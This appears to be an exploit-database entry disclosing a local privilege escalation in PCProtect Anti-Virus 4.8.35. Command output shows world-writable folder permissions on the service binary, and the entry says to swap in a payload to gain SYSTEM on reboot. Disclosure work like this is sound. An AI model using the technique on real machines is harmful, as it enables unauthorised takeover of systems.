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"PCProtect 4.8.35 - Privilege Escalation"

Author

Exploit author

"Hashim Jawad"

Platform

Exploit platform

windows_x86-64

Release date

Exploit published date

2018-09-28

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# Exploit Title: PCProtect 4.8.35 - Privilege Escalation
# Date: 2018-09-11
# Exploit Author: Hashim Jawad - @ihack4falafel
# Vendor Homepage: https://www.pcprotect.com/
# Vulnerable Software: https://www.pcprotect.com/download
# Tested on: Windows 7 Enterprise SP1 (x64)

# Description:
# PCProtect Anti-Virus v4.8.35 installs by default to "C:\Program Files (x86)\PCProtect" with very 
# weak folder permissions granting any user full permission "Everyone: (F)" to the contents of the 
# directory and it's subfolders. In addition, the program installs a service called "SecurityService" 
# which runs as "Local system account", this will allow any user to escalate privileges 
# to "NT AUTHORITY\SYSTEM" by substituting the service's binary with malicious one.

# PoC

C:\Users\IEUser>icacls "c:\Program Files (x86)\PCProtect"
c:\Program Files (x86)\PCProtect BUILTIN\Users:(OI)(CI)(F)
                                 Everyone:(OI)(CI)(F)
                                 NT SERVICE\TrustedInstaller:(I)(F)
                                 NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
                                 NT AUTHORITY\SYSTEM:(I)(F)
                                 NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
                                 BUILTIN\Administrators:(I)(F)
                                 BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
                                 BUILTIN\Users:(I)(RX)
                                 BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
                                 CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files

C:\Users\IEUser>sc qc SecurityService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: SecurityService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files (x86)\PCProtect\SecurityService.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : PC Security Management Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\IEUser>icacls "C:\Program Files (x86)\PCProtect\SecurityService.exe"
C:\Program Files (x86)\PCProtect\SecurityService.exe BUILTIN\Users:(I)(F)
                                                     Everyone:(I)(F)
                                                     NT AUTHORITY\SYSTEM:(I)(F)
                                                     BUILTIN\Administrators:(I)(F)

Successfully processed 1 files; Failed processing 0 files

C:\Users\IEUser>

# Exploit:
# Simply replace "SecurityService.exe" with your preferred payload and wait for execution upon reboot.
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